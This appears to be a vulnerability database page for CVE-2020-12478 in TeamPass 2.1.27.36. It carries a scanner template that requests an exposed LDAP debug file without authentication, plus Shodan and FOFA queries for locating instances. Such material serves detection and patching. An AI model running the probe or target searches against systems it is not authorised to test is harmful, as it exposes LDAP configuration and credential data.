CVE-2020-12478: TeamPass 2.1.27.36 - Improper Authentication

2025-08-01 TeamPass 2.1.27.36 PoC Public

Description

TeamPass 2.1.27.36 is susceptible to improper authentication. An attacker can retrieve files from the TeamPass web root, which may include backups or LDAP debug files, and therefore possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2020-12478

info:
  name: TeamPass 2.1.27.36 - Improper Authentication
  author: arafatansari
  severity: high
  description: |
    TeamPass 2.1.27.36 is susceptible to improper authentication. An attacker can retrieve files from the TeamPass web root, which may include backups or LDAP debug files, and therefore possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to sensitive information.
  remediation: |
    Upgrade to a patched version of TeamPass or apply the recommended security patches.
  reference:
    - https://github.com/nilsteampassnet/TeamPass/issues/2764
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12478
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-12478
    cwe-id: CWE-306
    epss-score: 0.08552
    epss-percentile: 0.94781
    cpe: cpe:2.3:a:teampass:teampass:2.1.27.36:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: teampass
    product: teampass
    shodan-query: http.html:"teampass"
    fofa-query: body="teampass"
  tags: cve2020,cve,teampass,exposure,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/files/ldap.debug.txt"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Get all LDAP params'

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022063fcd41bf5d22a5b417a67790ed091c38cae11551a2c22d06df6a0c81e8a023e022100b99166b2fbba10ba24448b308ade9da77ffa8c57c9a5bf431e9b00f6ff373276:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities